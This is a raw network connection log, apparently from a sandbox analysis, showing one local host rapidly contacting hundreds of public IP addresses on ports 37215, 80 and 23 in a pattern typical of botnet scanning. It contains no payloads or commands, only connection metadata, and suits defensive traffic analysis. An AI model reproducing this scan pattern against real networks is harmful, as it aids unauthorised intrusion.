Oct 14, 2024 17:34:13.105983973 CEST	29625	37215	192.168.2.14	156.252.163.134
Oct 14, 2024 17:34:13.105983973 CEST	29626	80	192.168.2.14	32.155.239.193
Oct 14, 2024 17:34:13.105983973 CEST	29626	80	192.168.2.14	121.14.8.237
Oct 14, 2024 17:34:13.105988026 CEST	29625	37215	192.168.2.14	197.125.177.57
Oct 14, 2024 17:34:13.105983973 CEST	29625	37215	192.168.2.14	156.128.168.246
Oct 14, 2024 17:34:13.105983973 CEST	29626	80	192.168.2.14	212.212.65.193
Oct 14, 2024 17:34:13.105988026 CEST	29626	80	192.168.2.14	163.235.157.21
Oct 14, 2024 17:34:13.105983973 CEST	29626	80	192.168.2.14	206.81.223.211
Oct 14, 2024 17:34:13.105988026 CEST	29626	80	192.168.2.14	223.247.231.244
Oct 14, 2024 17:34:13.105988026 CEST	29626	80	192.168.2.14	49.156.109.3
Oct 14, 2024 17:34:13.105983973 CEST	29625	37215	192.168.2.14	197.106.224.160
Oct 14, 2024 17:34:13.105987072 CEST	29625	37215	192.168.2.14	156.175.234.117
Oct 14, 2024 17:34:13.105988026 CEST	29626	80	192.168.2.14	41.89.36.22
Oct 14, 2024 17:34:13.105987072 CEST	29625	37215	192.168.2.14	41.81.241.75
Oct 14, 2024 17:34:13.105988026 CEST	29625	37215	192.168.2.14	156.246.233.198
Oct 14, 2024 17:34:13.105987072 CEST	29626	80	192.168.2.14	158.53.106.251
Oct 14, 2024 17:34:13.105983973 CEST	29626	80	192.168.2.14	107.12.201.194
Oct 14, 2024 17:34:13.105987072 CEST	29626	80	192.168.2.14	125.228.238.243
Oct 14, 2024 17:34:13.105983973 CEST	29625	37215	192.168.2.14	197.172.92.233
Oct 14, 2024 17:34:13.105983973 CEST	29626	80	192.168.2.14	99.149.174.59
Oct 14, 2024 17:34:13.105987072 CEST	29625	37215	192.168.2.14	197.111.33.153
Oct 14, 2024 17:34:13.106014967 CEST	29626	80	192.168.2.14	213.8.116.62
Oct 14, 2024 17:34:13.106015921 CEST	29625	37215	192.168.2.14	156.150.165.57
Oct 14, 2024 17:34:13.105983973 CEST	29625	37215	192.168.2.14	197.174.87.199
Oct 14, 2024 17:34:13.105983973 CEST	29626	80	192.168.2.14	42.221.214.36
Oct 14, 2024 17:34:13.106021881 CEST	29626	80	192.168.2.14	139.230.251.104
Oct 14, 2024 17:34:13.106017113 CEST	29626	80	192.168.2.14	47.211.28.0
Oct 14, 2024 17:34:13.106014967 CEST	29625	37215	192.168.2.14	156.75.45.229
Oct 14, 2024 17:34:13.105988026 CEST	29626	80	192.168.2.14	152.205.115.139
Oct 14, 2024 17:34:13.106017113 CEST	29625	37215	192.168.2.14	41.177.197.176
Oct 14, 2024 17:34:13.106014967 CEST	29626	80	192.168.2.14	202.185.93.191
Oct 14, 2024 17:34:13.105988026 CEST	29626	80	192.168.2.14	163.111.225.116
Oct 14, 2024 17:34:13.106017113 CEST	29625	37215	192.168.2.14	197.191.170.210
Oct 14, 2024 17:34:13.105988026 CEST	29625	37215	192.168.2.14	197.213.150.244
Oct 14, 2024 17:34:13.106017113 CEST	29625	37215	192.168.2.14	197.156.245.103
Oct 14, 2024 17:34:13.105987072 CEST	29626	80	192.168.2.14	203.186.175.150
Oct 14, 2024 17:34:13.106021881 CEST	29626	80	192.168.2.14	111.147.36.193
Oct 14, 2024 17:34:13.106017113 CEST	29626	80	192.168.2.14	75.144.219.57
Oct 14, 2024 17:34:13.105983973 CEST	29626	80	192.168.2.14	89.10.235.179
Oct 14, 2024 17:34:13.106028080 CEST	29626	80	192.168.2.14	203.151.39.53
Oct 14, 2024 17:34:13.106021881 CEST	29626	80	192.168.2.14	23.113.237.87
Oct 14, 2024 17:34:13.106034040 CEST	29626	80	192.168.2.14	46.91.90.254
Oct 14, 2024 17:34:13.106017113 CEST	29626	80	192.168.2.14	138.55.41.167
Oct 14, 2024 17:34:13.106034040 CEST	29626	80	192.168.2.14	154.175.57.67
Oct 14, 2024 17:34:13.106017113 CEST	29626	80	192.168.2.14	44.23.226.148
Oct 14, 2024 17:34:13.106034040 CEST	29625	37215	192.168.2.14	197.104.232.117
Oct 14, 2024 17:34:13.106021881 CEST	29626	80	192.168.2.14	13.88.225.70
Oct 14, 2024 17:34:13.106028080 CEST	29626	80	192.168.2.14	91.207.111.81
Oct 14, 2024 17:34:13.105983973 CEST	29625	37215	192.168.2.14	41.202.129.86
Oct 14, 2024 17:34:13.106028080 CEST	29626	80	192.168.2.14	36.254.162.7
Oct 14, 2024 17:34:13.106021881 CEST	29626	80	192.168.2.14	169.235.248.199
Oct 14, 2024 17:34:13.106028080 CEST	29626	80	192.168.2.14	45.136.65.103
Oct 14, 2024 17:34:13.106021881 CEST	29625	37215	192.168.2.14	41.132.7.44
Oct 14, 2024 17:34:13.106028080 CEST	29625	37215	192.168.2.14	156.156.173.200
Oct 14, 2024 17:34:13.106034994 CEST	29626	80	192.168.2.14	193.12.171.153
Oct 14, 2024 17:34:13.106034040 CEST	29626	80	192.168.2.14	93.84.109.201
Oct 14, 2024 17:34:13.106040955 CEST	29626	80	192.168.2.14	144.35.231.125
Oct 14, 2024 17:34:13.106034040 CEST	29626	80	192.168.2.14	213.131.144.107
Oct 14, 2024 17:34:13.106040955 CEST	29626	80	192.168.2.14	174.240.219.14
Oct 14, 2024 17:34:13.106028080 CEST	29625	37215	192.168.2.14	197.137.16.253
Oct 14, 2024 17:34:13.106040955 CEST	29626	80	192.168.2.14	198.171.222.206
Oct 14, 2024 17:34:13.106034040 CEST	29626	80	192.168.2.14	207.211.178.178
Oct 14, 2024 17:34:13.106040955 CEST	29626	80	192.168.2.14	125.48.225.99
Oct 14, 2024 17:34:13.106048107 CEST	29625	37215	192.168.2.14	41.33.58.62
Oct 14, 2024 17:34:13.106034994 CEST	29625	37215	192.168.2.14	41.225.90.46
Oct 14, 2024 17:34:13.106048107 CEST	29626	80	192.168.2.14	152.144.241.220
Oct 14, 2024 17:34:13.106040955 CEST	29626	80	192.168.2.14	37.242.18.79
Oct 14, 2024 17:34:13.106021881 CEST	29625	37215	192.168.2.14	41.102.66.102
Oct 14, 2024 17:34:13.106034040 CEST	29626	80	192.168.2.14	129.4.13.211
Oct 14, 2024 17:34:13.106028080 CEST	29626	80	192.168.2.14	34.101.185.119
Oct 14, 2024 17:34:13.106048107 CEST	29626	80	192.168.2.14	48.49.6.173
Oct 14, 2024 17:34:13.106046915 CEST	29626	80	192.168.2.14	116.245.71.248
Oct 14, 2024 17:34:13.106021881 CEST	29625	37215	192.168.2.14	41.221.40.243
Oct 14, 2024 17:34:13.106040955 CEST	29626	80	192.168.2.14	209.196.227.47
Oct 14, 2024 17:34:13.106028080 CEST	29625	37215	192.168.2.14	41.161.200.216
Oct 14, 2024 17:34:13.106048107 CEST	29626	80	192.168.2.14	12.183.141.11
Oct 14, 2024 17:34:13.106050968 CEST	29626	80	192.168.2.14	63.243.142.246
Oct 14, 2024 17:34:13.106048107 CEST	29626	80	192.168.2.14	58.122.200.71
Oct 14, 2024 17:34:13.106040955 CEST	29626	80	192.168.2.14	142.246.113.145
Oct 14, 2024 17:34:13.106060028 CEST	29626	80	192.168.2.14	163.158.238.30
Oct 14, 2024 17:34:13.106046915 CEST	29626	80	192.168.2.14	63.206.197.237
Oct 14, 2024 17:34:13.106034994 CEST	29626	80	192.168.2.14	76.121.40.178
Oct 14, 2024 17:34:13.106060028 CEST	29626	80	192.168.2.14	134.35.255.217
Oct 14, 2024 17:34:13.106046915 CEST	29626	80	192.168.2.14	145.83.45.241
Oct 14, 2024 17:34:13.106048107 CEST	29626	80	192.168.2.14	191.20.56.88
Oct 14, 2024 17:34:13.106061935 CEST	29626	80	192.168.2.14	155.18.96.102
Oct 14, 2024 17:34:13.106046915 CEST	29626	80	192.168.2.14	160.228.176.254
Oct 14, 2024 17:34:13.106059074 CEST	29626	80	192.168.2.14	171.61.94.254
Oct 14, 2024 17:34:13.106040955 CEST	29626	80	192.168.2.14	62.209.50.228
Oct 14, 2024 17:34:13.106060028 CEST	29625	37215	192.168.2.14	156.243.153.105
Oct 14, 2024 17:34:13.106059074 CEST	29626	80	192.168.2.14	158.45.15.15
Oct 14, 2024 17:34:13.106050968 CEST	29626	80	192.168.2.14	48.120.108.28
Oct 14, 2024 17:34:13.106060028 CEST	29626	80	192.168.2.14	212.91.58.151
Oct 14, 2024 17:34:13.106035948 CEST	29626	80	192.168.2.14	211.148.7.81
Oct 14, 2024 17:34:13.106046915 CEST	29625	37215	192.168.2.14	156.52.198.97
Oct 14, 2024 17:34:13.106060028 CEST	29626	80	192.168.2.14	83.9.150.209
Oct 14, 2024 17:34:13.106070995 CEST	29626	80	192.168.2.14	42.239.163.200
Oct 14, 2024 17:34:13.106050968 CEST	29626	80	192.168.2.14	117.148.244.93
Oct 14, 2024 17:34:13.106046915 CEST	29626	80	192.168.2.14	180.73.102.190
Oct 14, 2024 17:34:13.106035948 CEST	29626	80	192.168.2.14	114.122.212.24
Oct 14, 2024 17:34:13.106046915 CEST	29626	80	192.168.2.14	81.156.229.202
Oct 14, 2024 17:34:13.106061935 CEST	29626	80	192.168.2.14	205.203.70.20
Oct 14, 2024 17:34:13.106035948 CEST	29626	80	192.168.2.14	173.37.21.125
Oct 14, 2024 17:34:13.106060028 CEST	29626	80	192.168.2.14	35.113.60.246
Oct 14, 2024 17:34:13.106046915 CEST	29626	80	192.168.2.14	60.184.4.249
Oct 14, 2024 17:34:13.106061935 CEST	29626	80	192.168.2.14	159.56.100.154
Oct 14, 2024 17:34:13.106060028 CEST	29626	80	192.168.2.14	219.252.36.70
Oct 14, 2024 17:34:13.106035948 CEST	29626	80	192.168.2.14	47.164.67.104
Oct 14, 2024 17:34:13.106060028 CEST	29626	80	192.168.2.14	32.20.254.182
Oct 14, 2024 17:34:13.106050968 CEST	29626	80	192.168.2.14	185.243.156.46
Oct 14, 2024 17:34:13.106035948 CEST	29626	80	192.168.2.14	18.88.105.42
Oct 14, 2024 17:34:13.106050968 CEST	29626	80	192.168.2.14	108.38.241.102
Oct 14, 2024 17:34:13.106081963 CEST	29626	80	192.168.2.14	60.247.140.140
Oct 14, 2024 17:34:13.106061935 CEST	29626	80	192.168.2.14	160.63.106.111
Oct 14, 2024 17:34:13.106081963 CEST	29626	80	192.168.2.14	50.49.201.140
Oct 14, 2024 17:34:13.106081963 CEST	29626	80	192.168.2.14	73.43.34.172
Oct 14, 2024 17:34:13.106081963 CEST	29626	80	192.168.2.14	136.108.25.87
Oct 14, 2024 17:34:13.106081963 CEST	29626	80	192.168.2.14	114.221.109.214
Oct 14, 2024 17:34:13.106081963 CEST	29626	80	192.168.2.14	204.105.2.84
Oct 14, 2024 17:34:13.106081963 CEST	29626	80	192.168.2.14	49.7.142.43
Oct 14, 2024 17:34:13.106081963 CEST	29626	80	192.168.2.14	34.241.1.210
Oct 14, 2024 17:34:13.106086016 CEST	29625	37215	192.168.2.14	41.31.177.124
Oct 14, 2024 17:34:13.106086969 CEST	29625	37215	192.168.2.14	197.195.134.11
Oct 14, 2024 17:34:13.106086969 CEST	29626	80	192.168.2.14	170.98.153.149
Oct 14, 2024 17:34:13.106086969 CEST	29626	80	192.168.2.14	90.91.226.11
Oct 14, 2024 17:34:13.106086969 CEST	29626	80	192.168.2.14	173.108.151.233
Oct 14, 2024 17:34:13.106086969 CEST	29626	80	192.168.2.14	38.222.132.131
Oct 14, 2024 17:34:13.106086969 CEST	29626	80	192.168.2.14	197.232.173.17
Oct 14, 2024 17:34:13.106086969 CEST	29626	80	192.168.2.14	19.172.192.67
Oct 14, 2024 17:34:13.106086969 CEST	29626	80	192.168.2.14	211.49.120.226
Oct 14, 2024 17:34:13.106086969 CEST	29626	80	192.168.2.14	17.100.16.107
Oct 14, 2024 17:34:13.106090069 CEST	29626	80	192.168.2.14	175.225.30.140
Oct 14, 2024 17:34:13.106090069 CEST	29626	80	192.168.2.14	133.142.102.156
Oct 14, 2024 17:34:13.106090069 CEST	29626	80	192.168.2.14	84.49.69.158
Oct 14, 2024 17:34:13.106090069 CEST	47558	37215	192.168.2.14	156.135.171.102
Oct 14, 2024 17:34:13.106090069 CEST	47558	37215	192.168.2.14	156.135.171.102
Oct 14, 2024 17:34:13.106091976 CEST	29626	80	192.168.2.14	133.118.137.85
Oct 14, 2024 17:34:13.106091976 CEST	29626	80	192.168.2.14	27.14.126.205
Oct 14, 2024 17:34:13.106091976 CEST	35766	80	192.168.2.14	135.208.219.81
Oct 14, 2024 17:34:13.106091976 CEST	35766	80	192.168.2.14	135.208.219.81
Oct 14, 2024 17:34:13.106092930 CEST	29626	80	192.168.2.14	70.237.197.143
Oct 14, 2024 17:34:13.106096983 CEST	29626	80	192.168.2.14	197.20.181.232
Oct 14, 2024 17:34:13.106096983 CEST	29626	80	192.168.2.14	121.87.180.51
Oct 14, 2024 17:34:13.106106043 CEST	29626	80	192.168.2.14	190.117.58.226
Oct 14, 2024 17:34:13.106110096 CEST	29626	80	192.168.2.14	45.247.138.130
Oct 14, 2024 17:34:13.106110096 CEST	29626	80	192.168.2.14	174.30.87.252
Oct 14, 2024 17:34:13.106870890 CEST	48092	37215	192.168.2.14	156.135.171.102
Oct 14, 2024 17:34:13.106959105 CEST	36310	80	192.168.2.14	135.208.219.81
Oct 14, 2024 17:34:13.111036062 CEST	37215	47558	156.135.171.102	192.168.2.14
Oct 14, 2024 17:34:13.111046076 CEST	80	35766	135.208.219.81	192.168.2.14
Oct 14, 2024 17:34:13.119164944 CEST	80	43232	120.68.33.190	192.168.2.14
Oct 14, 2024 17:34:13.119175911 CEST	37215	54188	156.95.186.74	192.168.2.14
Oct 14, 2024 17:34:13.131659031 CEST	48562	80	192.168.2.14	131.167.238.241
Oct 14, 2024 17:34:13.131659031 CEST	50000	80	192.168.2.14	25.113.143.7
Oct 14, 2024 17:34:13.131663084 CEST	48762	37215	192.168.2.14	41.43.52.119
Oct 14, 2024 17:34:13.131663084 CEST	57628	80	192.168.2.14	84.156.166.12
Oct 14, 2024 17:34:13.131663084 CEST	57364	37215	192.168.2.14	197.240.59.231
Oct 14, 2024 17:34:13.131664991 CEST	49622	37215	192.168.2.14	41.123.46.174
Oct 14, 2024 17:34:13.131665945 CEST	34730	23	192.168.2.14	211.30.55.68
Oct 14, 2024 17:34:13.131685972 CEST	51692	80	192.168.2.14	179.94.112.177
Oct 14, 2024 17:34:13.131685972 CEST	35152	23	192.168.2.14	182.239.10.92
Oct 14, 2024 17:34:13.131685972 CEST	56930	80	192.168.2.14	162.75.203.19
Oct 14, 2024 17:34:13.131685972 CEST	49420	80	192.168.2.14	206.30.20.214
Oct 14, 2024 17:34:13.131689072 CEST	38518	23	192.168.2.14	79.95.164.75
Oct 14, 2024 17:34:13.131690025 CEST	43734	37215	192.168.2.14	156.187.172.121
Oct 14, 2024 17:34:13.131690025 CEST	46404	80	192.168.2.14	130.62.37.57
Oct 14, 2024 17:34:13.131690025 CEST	38542	23	192.168.2.14	111.156.255.9
Oct 14, 2024 17:34:13.131690979 CEST	42416	23	192.168.2.14	149.0.234.84
Oct 14, 2024 17:34:13.131690025 CEST	41190	37215	192.168.2.14	156.36.202.204
Oct 14, 2024 17:34:13.131691933 CEST	43112	80	192.168.2.14	196.255.195.209
Oct 14, 2024 17:34:13.131691933 CEST	57748	37215	192.168.2.14	156.194.35.155
Oct 14, 2024 17:34:13.131691933 CEST	53194	80	192.168.2.14	139.135.199.65
Oct 14, 2024 17:34:13.131691933 CEST	43188	23	192.168.2.14	158.40.178.180
Oct 14, 2024 17:34:13.132432938 CEST	43342	37215	192.168.2.14	41.90.184.19
Oct 14, 2024 17:34:13.132438898 CEST	44804	80	192.168.2.14	124.132.203.192
Oct 14, 2024 17:34:13.132438898 CEST	59762	37215	192.168.2.14	41.249.65.64
Oct 14, 2024 17:34:13.132438898 CEST	43774	23	192.168.2.14	42.80.55.218
Oct 14, 2024 17:34:13.132438898 CEST	49336	37215	192.168.2.14	156.120.9.252
Oct 14, 2024 17:34:13.132438898 CEST	55360	23	192.168.2.14	107.127.44.94
Oct 14, 2024 17:34:13.136504889 CEST	80	48562	131.167.238.241	192.168.2.14
Oct 14, 2024 17:34:13.136516094 CEST	37215	48762	41.43.52.119	192.168.2.14
Oct 14, 2024 17:34:13.136570930 CEST	48762	37215	192.168.2.14	41.43.52.119
Oct 14, 2024 17:34:13.136584997 CEST	48562	80	192.168.2.14	131.167.238.241
Oct 14, 2024 17:34:13.136631966 CEST	80	57628	84.156.166.12	192.168.2.14
Oct 14, 2024 17:34:13.136647940 CEST	48562	80	192.168.2.14	131.167.238.241
Oct 14, 2024 17:34:13.136657000 CEST	48562	80	192.168.2.14	131.167.238.241
Oct 14, 2024 17:34:13.136691093 CEST	48762	37215	192.168.2.14	41.43.52.119
Oct 14, 2024 17:34:13.136715889 CEST	57628	80	192.168.2.14	84.156.166.12
Oct 14, 2024 17:34:13.136723042 CEST	48762	37215	192.168.2.14	41.43.52.119
Oct 14, 2024 17:34:13.139494896 CEST	49036	80	192.168.2.14	131.167.238.241
Oct 14, 2024 17:34:13.140044928 CEST	49244	37215	192.168.2.14	41.43.52.119
Oct 14, 2024 17:34:13.141640902 CEST	80	48562	131.167.238.241	192.168.2.14
Oct 14, 2024 17:34:13.141664982 CEST	37215	48762	41.43.52.119	192.168.2.14
Oct 14, 2024 17:34:13.143553019 CEST	57628	80	192.168.2.14	84.156.166.12
Oct 14, 2024 17:34:13.143569946 CEST	57628	80	192.168.2.14	84.156.166.12
Oct 14, 2024 17:34:13.144555092 CEST	80	49036	131.167.238.241	192.168.2.14
Oct 14, 2024 17:34:13.144598007 CEST	49036	80	192.168.2.14	131.167.238.241
Oct 14, 2024 17:34:13.146445036 CEST	58122	80	192.168.2.14	84.156.166.12
Oct 14, 2024 17:34:13.148425102 CEST	80	57628	84.156.166.12	192.168.2.14
Oct 14, 2024 17:34:13.150757074 CEST	49036	80	192.168.2.14	131.167.238.241
Oct 14, 2024 17:34:13.151087046 CEST	37215	47558	156.135.171.102	192.168.2.14
Oct 14, 2024 17:34:13.155774117 CEST	80	49036	131.167.238.241	192.168.2.14
Oct 14, 2024 17:34:13.155900955 CEST	49036	80	192.168.2.14	131.167.238.241
Oct 14, 2024 17:34:13.159113884 CEST	80	35766	135.208.219.81	192.168.2.14
Oct 14, 2024 17:34:13.163614988 CEST	37164	37215	192.168.2.14	41.40.38.157
Oct 14, 2024 17:34:13.163614988 CEST	56710	80	192.168.2.14	51.128.35.28
Oct 14, 2024 17:34:13.163614988 CEST	48400	23	192.168.2.14	221.54.208.3
Oct 14, 2024 17:34:13.163630962 CEST	60896	80	192.168.2.14	87.235.146.102
Oct 14, 2024 17:34:13.163630962 CEST	33446	37215	192.168.2.14	156.129.238.207
Oct 14, 2024 17:34:13.163633108 CEST	38720	80	192.168.2.14	119.219.139.178
Oct 14, 2024 17:34:13.163633108 CEST	50920	23	192.168.2.14	162.232.220.253
Oct 14, 2024 17:34:13.163635015 CEST	33648	80	192.168.2.14	210.227.107.79
Oct 14, 2024 17:34:13.163635015 CEST	32856	23	192.168.2.14	65.131.60.201
Oct 14, 2024 17:34:13.163635969 CEST	33124	23	192.168.2.14	202.97.41.192
Oct 14, 2024 17:34:13.163640976 CEST	55736	37215	192.168.2.14	156.179.106.41
Oct 14, 2024 17:34:13.163645029 CEST	38340	23	192.168.2.14	125.173.163.175
Oct 14, 2024 17:34:13.163645029 CEST	39880	80	192.168.2.14	125.154.218.151
Oct 14, 2024 17:34:13.163649082 CEST	39042	80	192.168.2.14	71.35.129.124
Oct 14, 2024 17:34:13.165510893 CEST	55784	80	192.168.2.14	179.135.69.78
Oct 14, 2024 17:34:13.165514946 CEST	56900	37215	192.168.2.14	41.249.143.173
Oct 14, 2024 17:34:13.165514946 CEST	45262	23	192.168.2.14	131.214.80.119
Oct 14, 2024 17:34:13.165514946 CEST	35202	37215	192.168.2.14	41.125.165.215
Oct 14, 2024 17:34:13.168463945 CEST	37215	37164	41.40.38.157	192.168.2.14
Oct 14, 2024 17:34:13.168476105 CEST	80	56710	51.128.35.28	192.168.2.14
Oct 14, 2024 17:34:13.168519020 CEST	37164	37215	192.168.2.14	41.40.38.157
Oct 14, 2024 17:34:13.168612957 CEST	56710	80	192.168.2.14	51.128.35.28
Oct 14, 2024 17:34:13.168612957 CEST	56710	80	192.168.2.14	51.128.35.28
Oct 14, 2024 17:34:13.168612957 CEST	56710	80	192.168.2.14	51.128.35.28
Oct 14, 2024 17:34:13.168659925 CEST	37164	37215	192.168.2.14	41.40.38.157
Oct 14, 2024 17:34:13.168678999 CEST	37164	37215	192.168.2.14	41.40.38.157
Oct 14, 2024 17:34:13.173418045 CEST	80	56710	51.128.35.28	192.168.2.14
Oct 14, 2024 17:34:13.173592091 CEST	37215	37164	41.40.38.157	192.168.2.14
Oct 14, 2024 17:34:13.178679943 CEST	57138	80	192.168.2.14	51.128.35.28
Oct 14, 2024 17:34:13.179492950 CEST	37596	37215	192.168.2.14	41.40.38.157
Oct 14, 2024 17:34:13.183571100 CEST	80	57138	51.128.35.28	192.168.2.14
Oct 14, 2024 17:34:13.183628082 CEST	57138	80	192.168.2.14	51.128.35.28
Oct 14, 2024 17:34:13.184330940 CEST	37215	37596	41.40.38.157	192.168.2.14
Oct 14, 2024 17:34:13.184372902 CEST	37596	37215	192.168.2.14	41.40.38.157
Oct 14, 2024 17:34:13.184606075 CEST	57138	80	192.168.2.14	51.128.35.28
Oct 14, 2024 17:34:13.184881926 CEST	37596	37215	192.168.2.14	41.40.38.157
Oct 14, 2024 17:34:13.187123060 CEST	37215	48762	41.43.52.119	192.168.2.14
Oct 14, 2024 17:34:13.187170982 CEST	80	48562	131.167.238.241	192.168.2.14
Oct 14, 2024 17:34:13.189457893 CEST	80	57138	51.128.35.28	192.168.2.14
Oct 14, 2024 17:34:13.189507961 CEST	57138	80	192.168.2.14	51.128.35.28
Oct 14, 2024 17:34:13.189889908 CEST	37215	37596	41.40.38.157	192.168.2.14
Oct 14, 2024 17:34:13.189934015 CEST	37596	37215	192.168.2.14	41.40.38.157
Oct 14, 2024 17:34:13.195075035 CEST	80	57628	84.156.166.12	192.168.2.14
Oct 14, 2024 17:34:13.195614100 CEST	33586	37215	192.168.2.14	41.22.70.86
Oct 14, 2024 17:34:13.195614100 CEST	58722	37215	192.168.2.14	197.46.174.232
Oct 14, 2024 17:34:13.195614100 CEST	48844	37215	192.168.2.14	156.234.55.245
Oct 14, 2024 17:34:13.195619106 CEST	50272	37215	192.168.2.14	156.46.198.66
Oct 14, 2024 17:34:13.195620060 CEST	45946	80	192.168.2.14	213.100.205.114
Oct 14, 2024 17:34:13.195619106 CEST	36130	23	192.168.2.14	59.181.204.184
Oct 14, 2024 17:34:13.195620060 CEST	57624	37215	192.168.2.14	156.255.41.208
Oct 14, 2024 17:34:13.195619106 CEST	55862	80	192.168.2.14	77.159.29.87
Oct 14, 2024 17:34:13.195620060 CEST	42784	37215	192.168.2.14	41.194.65.164
Oct 14, 2024 17:34:13.195620060 CEST	36408	37215	192.168.2.14	156.251.221.106
Oct 14, 2024 17:34:13.195619106 CEST	35018	80	192.168.2.14	103.139.150.139
Oct 14, 2024 17:34:13.195620060 CEST	37042	37215	192.168.2.14	156.237.87.22
Oct 14, 2024 17:34:13.195620060 CEST	47410	80	192.168.2.14	95.47.200.226
Oct 14, 2024 17:34:13.195628881 CEST	41150	80	192.168.2.14	45.86.215.195
Oct 14, 2024 17:34:13.195631981 CEST	42636	80	192.168.2.14	220.113.62.119
Oct 14, 2024 17:34:13.195632935 CEST	33644	80	192.168.2.14	205.147.119.75
Oct 14, 2024 17:34:13.195632935 CEST	41824	80	192.168.2.14	194.205.16.227
Oct 14, 2024 17:34:13.195632935 CEST	48324	80	192.168.2.14	115.47.248.251
Oct 14, 2024 17:34:13.195632935 CEST	57352	23	192.168.2.14	100.30.227.235
Oct 14, 2024 17:34:13.195632935 CEST	35998	23	192.168.2.14	183.129.63.177
Oct 14, 2024 17:34:13.200417995 CEST	37215	33586	41.22.70.86	192.168.2.14
Oct 14, 2024 17:34:13.200469971 CEST	33586	37215	192.168.2.14	41.22.70.86
Oct 14, 2024 17:34:13.200640917 CEST	33586	37215	192.168.2.14	41.22.70.86
Oct 14, 2024 17:34:13.200640917 CEST	33586	37215	192.168.2.14	41.22.70.86
Oct 14, 2024 17:34:13.200958967 CEST	33982	37215	192.168.2.14	41.22.70.86
Oct 14, 2024 17:34:13.205611944 CEST	37215	33586	41.22.70.86	192.168.2.14
Oct 14, 2024 17:34:13.205923080 CEST	37215	33982	41.22.70.86	192.168.2.14
Oct 14, 2024 17:34:13.205977917 CEST	33982	37215	192.168.2.14	41.22.70.86
Oct 14, 2024 17:34:13.206005096 CEST	33982	37215	192.168.2.14	41.22.70.86
Oct 14, 2024 17:34:13.211675882 CEST	37215	33982	41.22.70.86	192.168.2.14
Oct 14, 2024 17:34:13.211729050 CEST	33982	37215	192.168.2.14	41.22.70.86
Oct 14, 2024 17:34:13.215131998 CEST	37215	37164	41.40.38.157	192.168.2.14
Oct 14, 2024 17:34:13.215610027 CEST	80	56710	51.128.35.28	192.168.2.14
Oct 14, 2024 17:34:13.227607965 CEST	48908	37215	192.168.2.14	41.217.156.39
Oct 14, 2024 17:34:13.227607965 CEST	35206	37215	192.168.2.14	41.169.155.72
Oct 14, 2024 17:34:13.227607965 CEST	33622	80	192.168.2.14	195.140.177.192
Oct 14, 2024 17:34:13.227607965 CEST	58094	80	192.168.2.14	83.98.205.147
Oct 14, 2024 17:34:13.227612972 CEST	44564	80	192.168.2.14	82.30.22.185
Oct 14, 2024 17:34:13.227617979 CEST	55520	37215	192.168.2.14	41.249.126.241
Oct 14, 2024 17:34:13.227617979 CEST	47172	37215	192.168.2.14	197.176.10.14
Oct 14, 2024 17:34:13.227624893 CEST	58166	37215	192.168.2.14	197.10.15.48
Oct 14, 2024 17:34:13.227624893 CEST	43576	80	192.168.2.14	96.175.251.118
Oct 14, 2024 17:34:13.227624893 CEST	59354	80	192.168.2.14	155.29.92.241
Oct 14, 2024 17:34:13.227624893 CEST	41606	80	192.168.2.14	183.57.37.96
Oct 14, 2024 17:34:13.227624893 CEST	36270	37215	192.168.2.14	156.124.209.153
Oct 14, 2024 17:34:13.227624893 CEST	50156	37215	192.168.2.14	41.127.205.23
Oct 14, 2024 17:34:13.227627993 CEST	45158	80	192.168.2.14	24.22.140.5
Oct 14, 2024 17:34:13.227627993 CEST	54710	80	192.168.2.14	219.202.142.173
Oct 14, 2024 17:34:13.227629900 CEST	45036	37215	192.168.2.14	156.150.111.127
Oct 14, 2024 17:34:13.227629900 CEST	41732	80	192.168.2.14	52.186.86.108
Oct 14, 2024 17:34:13.227629900 CEST	53432	37215	192.168.2.14	156.159.96.221
Oct 14, 2024 17:34:13.227639914 CEST	42888	37215	192.168.2.14	197.106.106.67
Oct 14, 2024 17:34:13.227639914 CEST	59940	37215	192.168.2.14	197.188.25.161
Oct 14, 2024 17:34:13.227648020 CEST	52682	37215	192.168.2.14	197.132.23.190
Oct 14, 2024 17:34:13.232481003 CEST	37215	48908	41.217.156.39	192.168.2.14
Oct 14, 2024 17:34:13.232491970 CEST	80	44564	82.30.22.185	192.168.2.14
Oct 14, 2024 17:34:13.232546091 CEST	48908	37215	192.168.2.14	41.217.156.39
Oct 14, 2024 17:34:13.232621908 CEST	44564	80	192.168.2.14	82.30.22.185
Oct 14, 2024 17:34:13.232623100 CEST	48908	37215	192.168.2.14	41.217.156.39
Oct 14, 2024 17:34:13.232624054 CEST	48908	37215	192.168.2.14	41.217.156.39
Oct 14, 2024 17:34:13.232693911 CEST	44564	80	192.168.2.14	82.30.22.185
Oct 14, 2024 17:34:13.232709885 CEST	44564	80	192.168.2.14	82.30.22.185
Oct 14, 2024 17:34:13.233581066 CEST	49258	37215	192.168.2.14	41.217.156.39
Oct 14, 2024 17:34:13.233798027 CEST	44934	80	192.168.2.14	82.30.22.185
Oct 14, 2024 17:34:13.237596989 CEST	37215	48908	41.217.156.39	192.168.2.14
Oct 14, 2024 17:34:13.237778902 CEST	80	44564	82.30.22.185	192.168.2.14
Oct 14, 2024 17:34:13.238886118 CEST	37215	49258	41.217.156.39	192.168.2.14
Oct 14, 2024 17:34:13.238935947 CEST	49258	37215	192.168.2.14	41.217.156.39
Oct 14, 2024 17:34:13.238981009 CEST	49258	37215	192.168.2.14	41.217.156.39
Oct 14, 2024 17:34:13.244385958 CEST	37215	49258	41.217.156.39	192.168.2.14
Oct 14, 2024 17:34:13.244525909 CEST	49258	37215	192.168.2.14	41.217.156.39
Oct 14, 2024 17:34:13.247755051 CEST	37215	33586	41.22.70.86	192.168.2.14
Oct 14, 2024 17:34:13.259707928 CEST	41364	80	192.168.2.14	61.160.177.115
Oct 14, 2024 17:34:13.259707928 CEST	60518	37215	192.168.2.14	41.213.174.168
Oct 14, 2024 17:34:13.259715080 CEST	57256	37215	192.168.2.14	41.121.12.129
Oct 14, 2024 17:34:13.259715080 CEST	34810	37215	192.168.2.14	156.247.75.253
Oct 14, 2024 17:34:13.259715080 CEST	35964	37215	192.168.2.14	156.235.118.232
Oct 14, 2024 17:34:13.259716034 CEST	53844	37215	192.168.2.14	156.233.32.128
Oct 14, 2024 17:34:13.259716034 CEST	46020	80	192.168.2.14	39.152.22.181
Oct 14, 2024 17:34:13.259717941 CEST	38924	37215	192.168.2.14	41.247.4.72
Oct 14, 2024 17:34:13.259732962 CEST	43728	80	192.168.2.14	179.243.100.148
Oct 14, 2024 17:34:13.259732962 CEST	59616	37215	192.168.2.14	197.137.33.210
Oct 14, 2024 17:34:13.259733915 CEST	41108	37215	192.168.2.14	156.145.191.117
